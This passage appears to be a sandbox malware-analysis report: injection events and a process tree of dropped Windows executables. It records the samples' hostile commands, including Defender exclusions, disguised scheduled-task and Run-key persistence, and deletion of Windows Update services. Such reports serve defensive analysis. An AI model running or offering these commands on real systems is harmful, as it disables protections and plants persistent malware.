Token: SeShutdownPrivilege	3104	Explorer.EXE
Token: SeCreatePagefilePrivilege	3104	Explorer.EXE
Token: SeShutdownPrivilege	3104	Explorer.EXE
Token: SeCreatePagefilePrivilege	3104	Explorer.EXE
Token: SeShutdownPrivilege	3104	Explorer.EXE
Token: SeCreatePagefilePrivilege	3104	Explorer.EXE
Token: SeShutdownPrivilege	3104	Explorer.EXE
Token: SeCreatePagefilePrivilege	3104	Explorer.EXE
Token: SeShutdownPrivilege	3104	Explorer.EXE
Token: SeCreatePagefilePrivilege	3104	Explorer.EXE
Token: SeShutdownPrivilege	3104	Explorer.EXE
Token: SeCreatePagefilePrivilege	3104	Explorer.EXE
Token: SeShutdownPrivilege	3104	Explorer.EXE
Token: SeCreatePagefilePrivilege	3104	Explorer.EXE
Token: SeShutdownPrivilege	3104	Explorer.EXE
Token: SeCreatePagefilePrivilege	3104	Explorer.EXE
Token: SeShutdownPrivilege	3104	Explorer.EXE
Token: SeCreatePagefilePrivilege	3104	Explorer.EXE
Token: SeShutdownPrivilege	3104	Explorer.EXE
Token: SeCreatePagefilePrivilege	3104	Explorer.EXE
Token: SeShutdownPrivilege	3104	Explorer.EXE
Token: SeCreatePagefilePrivilege	3104	Explorer.EXE
Token: SeShutdownPrivilege	3104	Explorer.EXE
Token: SeCreatePagefilePrivilege	3104	Explorer.EXE
Token: SeShutdownPrivilege	3104	Explorer.EXE
Token: SeCreatePagefilePrivilege	3104	Explorer.EXE
Token: SeShutdownPrivilege	3104	Explorer.EXE
Token: SeCreatePagefilePrivilege	3104	Explorer.EXE
Token: SeShutdownPrivilege	3104	Explorer.EXE
Token: SeCreatePagefilePrivilege	3104	Explorer.EXE
Token: SeShutdownPrivilege	3104	Explorer.EXE
Token: SeCreatePagefilePrivilege	3104	Explorer.EXE
Token: SeShutdownPrivilege	3104	Explorer.EXE
Token: SeCreatePagefilePrivilege	3104	Explorer.EXE
Token: SeShutdownPrivilege	3104	Explorer.EXE
Token: SeCreatePagefilePrivilege	3104	Explorer.EXE
Token: SeShutdownPrivilege	3104	Explorer.EXE
Token: SeCreatePagefilePrivilege	3104	Explorer.EXE
Token: SeShutdownPrivilege	3104	Explorer.EXE
Token: SeCreatePagefilePrivilege	3104	Explorer.EXE
Token: SeShutdownPrivilege	3104	Explorer.EXE
Token: SeCreatePagefilePrivilege	3104	Explorer.EXE
Token: SeShutdownPrivilege	3104	Explorer.EXE
Token: SeCreatePagefilePrivilege	3104	Explorer.EXE
Token: SeShutdownPrivilege	3104	Explorer.EXE
Token: SeCreatePagefilePrivilege	3104	Explorer.EXE
Token: SeDebugPrivilege	568	build.exe
Token: SeShutdownPrivilege	3104	Explorer.EXE
Token: SeCreatePagefilePrivilege	3104	Explorer.EXE
Token: SeShutdownPrivilege	3104	Explorer.EXE
Token: SeCreatePagefilePrivilege	3104	Explorer.EXE
Token: SeShutdownPrivilege	3104	Explorer.EXE
Token: SeCreatePagefilePrivilege	3104	Explorer.EXE
Token: SeShutdownPrivilege	3104	Explorer.EXE

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
4544	oldplayer.exe
3756	oldplayer.exe
2516	mstsca.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
3104	Explorer.EXE
3104	Explorer.EXE

Suspicious use of UnmapMainImage 1 IoCs

pid	Process
3104	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3104 wrote to memory of 1040	3104	Explorer.EXE	92
PID 3104 wrote to memory of 1040	3104	Explorer.EXE	92
PID 3104 wrote to memory of 1040	3104	Explorer.EXE	92
PID 3104 wrote to memory of 1588	3104	Explorer.EXE	93
PID 3104 wrote to memory of 1588	3104	Explorer.EXE	93
PID 3104 wrote to memory of 1588	3104	Explorer.EXE	93
PID 3104 wrote to memory of 396	3104	Explorer.EXE	94
PID 3104 wrote to memory of 396	3104	Explorer.EXE	94
PID 3104 wrote to memory of 396	3104	Explorer.EXE	94
PID 3104 wrote to memory of 4400	3104	Explorer.EXE	95
PID 3104 wrote to memory of 4400	3104	Explorer.EXE	95
PID 3104 wrote to memory of 4400	3104	Explorer.EXE	95
PID 3104 wrote to memory of 1144	3104	Explorer.EXE	96
PID 3104 wrote to memory of 1144	3104	Explorer.EXE	96
PID 3104 wrote to memory of 1144	3104	Explorer.EXE	96
PID 3104 wrote to memory of 3304	3104	Explorer.EXE	97
PID 3104 wrote to memory of 3304	3104	Explorer.EXE	97
PID 3104 wrote to memory of 3304	3104	Explorer.EXE	97
PID 3104 wrote to memory of 3552	3104	Explorer.EXE	100
PID 3104 wrote to memory of 3552	3104	Explorer.EXE	100
PID 3104 wrote to memory of 3552	3104	Explorer.EXE	100
PID 4400 wrote to memory of 3776	4400	3FAC.exe	101
PID 4400 wrote to memory of 3776	4400	3FAC.exe	101
PID 4400 wrote to memory of 3776	4400	3FAC.exe	101
PID 4400 wrote to memory of 3776	4400	3FAC.exe	101
PID 4400 wrote to memory of 3776	4400	3FAC.exe	101
PID 4400 wrote to memory of 3776	4400	3FAC.exe	101
PID 4400 wrote to memory of 3776	4400	3FAC.exe	101
PID 4400 wrote to memory of 3776	4400	3FAC.exe	101
PID 4400 wrote to memory of 3776	4400	3FAC.exe	101
PID 4400 wrote to memory of 3776	4400	3FAC.exe	101
PID 3552 wrote to memory of 4544	3552	480B.exe	111
PID 3552 wrote to memory of 4544	3552	480B.exe	111
PID 3552 wrote to memory of 4544	3552	480B.exe	111
PID 1588 wrote to memory of 3756	1588	3AB8.exe	106
PID 1588 wrote to memory of 3756	1588	3AB8.exe	106
PID 1588 wrote to memory of 3756	1588	3AB8.exe	106
PID 3552 wrote to memory of 560	3552	480B.exe	107
PID 3552 wrote to memory of 560	3552	480B.exe	107
PID 1588 wrote to memory of 1644	1588	3AB8.exe	108
PID 1588 wrote to memory of 1644	1588	3AB8.exe	108
PID 3552 wrote to memory of 4884	3552	480B.exe	110
PID 3552 wrote to memory of 4884	3552	480B.exe	110
PID 1588 wrote to memory of 3064	1588	3AB8.exe	109
PID 1588 wrote to memory of 3064	1588	3AB8.exe	109
PID 4544 wrote to memory of 3372	4544	oldplayer.exe	112
PID 4544 wrote to memory of 3372	4544	oldplayer.exe	112
PID 4544 wrote to memory of 3372	4544	oldplayer.exe	112
PID 3756 wrote to memory of 2208	3756	oldplayer.exe	113
PID 3756 wrote to memory of 2208	3756	oldplayer.exe	113
PID 3756 wrote to memory of 2208	3756	oldplayer.exe	113
PID 3776 wrote to memory of 3300	3776	3FAC.exe	114
PID 3776 wrote to memory of 3300	3776	3FAC.exe	114
PID 3776 wrote to memory of 3300	3776	3FAC.exe	114
PID 3372 wrote to memory of 1424	3372	oneetx.exe	115
PID 3372 wrote to memory of 1424	3372	oneetx.exe	115
PID 3372 wrote to memory of 1424	3372	oneetx.exe	115
PID 3776 wrote to memory of 4464	3776	3FAC.exe	117
PID 3776 wrote to memory of 4464	3776	3FAC.exe	117
PID 3776 wrote to memory of 4464	3776	3FAC.exe	117
PID 3104 wrote to memory of 3656	3104	Explorer.EXE	119
PID 3104 wrote to memory of 3656	3104	Explorer.EXE	119
PID 3104 wrote to memory of 3656	3104	Explorer.EXE	119
PID 4464 wrote to memory of 4688	4464	3FAC.exe	120

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of UnmapMainImage
- Suspicious use of WriteProcessMemory
PID:3104
- C:\Users\Admin\AppData\Local\Temp\011cf2c9ebe5cca6f57a11ea43c38395cdbb4fedee0932d1807ed46df4a3a81f.exe
  "C:\Users\Admin\AppData\Local\Temp\011cf2c9ebe5cca6f57a11ea43c38395cdbb4fedee0932d1807ed46df4a3a81f.exe"
  2⤵
  - Checks SCSI registry key(s)
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  PID:4220
- C:\Users\Admin\AppData\Local\Temp\2F2E.exe
  C:\Users\Admin\AppData\Local\Temp\2F2E.exe
  2⤵
  - Executes dropped EXE
  - Checks SCSI registry key(s)
  - Suspicious behavior: MapViewOfSection
  PID:1040
- C:\Users\Admin\AppData\Local\Temp\3AB8.exe
  C:\Users\Admin\AppData\Local\Temp\3AB8.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1588
- - C:\Users\Admin\AppData\Local\Temp\oldplayer.exe
    "C:\Users\Admin\AppData\Local\Temp\oldplayer.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:3756
  - - C:\Users\Admin\AppData\Local\Temp\10180c8ca3\oneetx.exe
      "C:\Users\Admin\AppData\Local\Temp\10180c8ca3\oneetx.exe"
      4⤵
      Executes dropped EXE
      PID:2208
- - C:\Users\Admin\AppData\Local\Temp\ss31.exe
    "C:\Users\Admin\AppData\Local\Temp\ss31.exe"
    3⤵
    - Executes dropped EXE
    PID:1644
- - C:\Users\Admin\AppData\Local\Temp\XandETC.exe
    "C:\Users\Admin\AppData\Local\Temp\XandETC.exe"
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Drops file in Program Files directory
    PID:3064
- C:\Users\Admin\AppData\Local\Temp\3DF5.exe
  C:\Users\Admin\AppData\Local\Temp\3DF5.exe
  2⤵
  - Executes dropped EXE
  PID:396
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 396 -s 340
    3⤵
    - Program crash
    PID:2676
- C:\Users\Admin\AppData\Local\Temp\3FAC.exe
  C:\Users\Admin\AppData\Local\Temp\3FAC.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:4400
- - C:\Users\Admin\AppData\Local\Temp\3FAC.exe
    C:\Users\Admin\AppData\Local\Temp\3FAC.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of WriteProcessMemory
    PID:3776
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Users\Admin\AppData\Local\c1265b6a-1e83-4d22-b5c8-af10cffa3ae9" /deny *S-1-1-0:(OI)(CI)(DE,DC)
      4⤵
      Modifies file permissions
      PID:3300
  - - C:\Users\Admin\AppData\Local\Temp\3FAC.exe
      "C:\Users\Admin\AppData\Local\Temp\3FAC.exe" --Admin IsNotAutoStart IsNotTask
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Suspicious use of WriteProcessMemory
      PID:4464
    - - C:\Users\Admin\AppData\Local\Temp\3FAC.exe
        
        "C:\Users\Admin\AppData\Local\Temp\3FAC.exe" --Admin IsNotAutoStart IsNotTask
        5⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:4688
      - C:\Users\Admin\AppData\Local\3d5cb7e9-6c03-44a9-b7f0-c734d0cbc9b7\build2.exe
        
        "C:\Users\Admin\AppData\Local\3d5cb7e9-6c03-44a9-b7f0-c734d0cbc9b7\build2.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:856
        
        C:\Users\Admin\AppData\Local\3d5cb7e9-6c03-44a9-b7f0-c734d0cbc9b7\build2.exe
        
        "C:\Users\Admin\AppData\Local\3d5cb7e9-6c03-44a9-b7f0-c734d0cbc9b7\build2.exe"
        7⤵
        Checks computer location settings
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        
        PID:4168
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\3d5cb7e9-6c03-44a9-b7f0-c734d0cbc9b7\build2.exe" & exit
        8⤵
        
        PID:1500
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 6
        9⤵
        Delays execution with timeout.exe
        
        PID:1424
      - C:\Users\Admin\AppData\Local\3d5cb7e9-6c03-44a9-b7f0-c734d0cbc9b7\build3.exe
        
        "C:\Users\Admin\AppData\Local\3d5cb7e9-6c03-44a9-b7f0-c734d0cbc9b7\build3.exe"
        6⤵
        Executes dropped EXE
        
        PID:448
        
        C:\Windows\SysWOW64\schtasks.exe
        
        /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
        7⤵
        Creates scheduled task(s)
        
        PID:2012
- C:\Users\Admin\AppData\Local\Temp\40B6.exe
  C:\Users\Admin\AppData\Local\Temp\40B6.exe
  2⤵
  - Executes dropped EXE
  - Checks SCSI registry key(s)
  - Suspicious behavior: MapViewOfSection
  PID:1144
- C:\Users\Admin\AppData\Local\Temp\41C1.exe
  C:\Users\Admin\AppData\Local\Temp\41C1.exe
  2⤵
  - Executes dropped EXE
  PID:3304
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3304 -s 340
    3⤵
    - Program crash
    PID:2092
- C:\Users\Admin\AppData\Local\Temp\480B.exe
  C:\Users\Admin\AppData\Local\Temp\480B.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3552
- - C:\Users\Admin\AppData\Local\Temp\ss31.exe
    "C:\Users\Admin\AppData\Local\Temp\ss31.exe"
    3⤵
    - Executes dropped EXE
    PID:560
- - C:\Users\Admin\AppData\Local\Temp\XandETC.exe
    "C:\Users\Admin\AppData\Local\Temp\XandETC.exe"
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Drops file in Program Files directory
    PID:4884
- - C:\Users\Admin\AppData\Local\Temp\oldplayer.exe
    "C:\Users\Admin\AppData\Local\Temp\oldplayer.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:4544
  - - C:\Users\Admin\AppData\Local\Temp\10180c8ca3\oneetx.exe
      "C:\Users\Admin\AppData\Local\Temp\10180c8ca3\oneetx.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:3372
    - - C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "C:\Users\Admin\AppData\Local\Temp\10180c8ca3\oneetx.exe" /F
        5⤵
        Creates scheduled task(s)
        
        PID:1424
- C:\Users\Admin\AppData\Local\Temp\6A79.exe
  C:\Users\Admin\AppData\Local\Temp\6A79.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  PID:3656
- - C:\Users\Admin\AppData\Roaming\build.exe
    "C:\Users\Admin\AppData\Roaming\build.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:568
- C:\Users\Admin\AppData\Local\Temp\C4A0.exe
  C:\Users\Admin\AppData\Local\Temp\C4A0.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Loads dropped DLL
  - Checks processor information in registry
  PID:3884
- - C:\ProgramData\27357788686921962573.exe
    "C:\ProgramData\27357788686921962573.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    PID:4956
  - - C:\Users\Admin\AppData\Roaming\telemetry\svcservice.exe
      "C:\Users\Admin\AppData\Roaming\telemetry\svcservice.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of NtSetInformationThreadHideFromDebugger
      PID:2228
- - C:\ProgramData\29045188672602302741.exe
    "C:\ProgramData\29045188672602302741.exe"
    3⤵
    - Executes dropped EXE
    PID:4472
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /C choice /C Y /N /D Y /T 0 &Del C:\ProgramData\29045188672602302741.exe
      4⤵
      PID:1268
    - - C:\Windows\system32\choice.exe
        
        choice /C Y /N /D Y /T 0
        5⤵
        
        PID:552
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\C4A0.exe" & exit
    3⤵
    PID:4624
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 6
      4⤵
      Delays execution with timeout.exe
      PID:2724
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3884 -s 2272
    3⤵
    - Program crash
    PID:4396
- C:\Users\Admin\AppData\Local\Temp\D6E1.exe
  C:\Users\Admin\AppData\Local\Temp\D6E1.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Checks processor information in registry
  PID:1484
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1484 -s 932
    3⤵
    - Program crash
    PID:384
- - C:\Windows\SysWOW64\rundll32.exe
    "C:\Windows\syswow64\rundll32.exe" "C:\Windows\syswow64\shell32.dll",#61
    3⤵
    PID:2516
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1484 -s 1020
    3⤵
    - Program crash
    PID:1872
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1484 -s 1016
    3⤵
    - Program crash
    PID:3784
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1484 -s 1020
    3⤵
    - Program crash
    PID:2212
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1484 -s 140
    3⤵
    - Program crash
    PID:4860
- C:\Windows\SysWOW64\explorer.exe
  C:\Windows\SysWOW64\explorer.exe
  2⤵
  PID:1244
- C:\Windows\explorer.exe
  C:\Windows\explorer.exe
  2⤵
  PID:1476
- C:\Windows\SysWOW64\explorer.exe
  C:\Windows\SysWOW64\explorer.exe
  2⤵
  PID:5000
- C:\Windows\explorer.exe
  C:\Windows\explorer.exe
  2⤵
  PID:900
- C:\Windows\SysWOW64\explorer.exe
  C:\Windows\SysWOW64\explorer.exe
  2⤵
  PID:2676
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  PID:684
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  PID:4536
- C:\Windows\SysWOW64\explorer.exe
  C:\Windows\SysWOW64\explorer.exe
  2⤵
  PID:3088
- C:\Windows\SysWOW64\explorer.exe
  C:\Windows\SysWOW64\explorer.exe
  2⤵
  PID:4648
- C:\Windows\explorer.exe
  C:\Windows\explorer.exe
  2⤵
  PID:3712
- C:\Windows\SysWOW64\explorer.exe
  C:\Windows\SysWOW64\explorer.exe
  2⤵
  PID:2140
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wsyzqeupt#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'NoteUpdateTaskMachineQC' /tr '''C:\Program Files\Notepad\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Notepad\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'NoteUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "NoteUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Notepad\Chrome\updater.exe' }
  2⤵
  PID:4820
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:980
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    PID:4804
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    PID:2964
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    PID:4848
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    PID:2872
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  PID:464
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:1228
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:3936
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:1376
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:3348
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:2940
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:3968
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:3936
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    PID:3424
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:3920
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:2888
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wsyzqeupt#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'NoteUpdateTaskMachineQC' /tr '''C:\Program Files\Notepad\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Notepad\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'NoteUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "NoteUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Notepad\Chrome\updater.exe' }
  2⤵
  PID:4960
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:2188
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    PID:4012
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    PID:4808
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    PID:1396
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    PID:3644
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  PID:1940
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:4996
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:3656
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:1952
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:2076
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:652
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:4608
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:4732
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    - Modifies security service
    PID:5032
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:4624
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:4384
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#iqegjinl#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "NoteUpdateTaskMachineQC" } Else { "C:\Program Files\Notepad\Chrome\updater.exe" }
  2⤵
  PID:3644
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn NoteUpdateTaskMachineQC
    3⤵
    PID:4608
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#iqegjinl#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "NoteUpdateTaskMachineQC" } Else { "C:\Program Files\Notepad\Chrome\updater.exe" }
  2⤵
  PID:4724
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3968
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn NoteUpdateTaskMachineQC
    3⤵
    PID:3424
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Modifies data under HKEY_USERS
  PID:1552

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 396 -ip 396
1⤵
PID:2160

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 3304 -ip 3304
1⤵
PID:3772

C:\Users\Admin\AppData\Local\Temp\10180c8ca3\oneetx.exe
C:\Users\Admin\AppData\Local\Temp\10180c8ca3\oneetx.exe
1⤵
- Executes dropped EXE
PID:4708

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 1484 -ip 1484
1⤵
PID:2948

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 1484 -ip 1484
1⤵
PID:2444

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 388 -p 1484 -ip 1484
1⤵
PID:1868

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 484 -p 1484 -ip 1484
1⤵
PID:1908

C:\Windows\SysWOW64\WerFault.exe
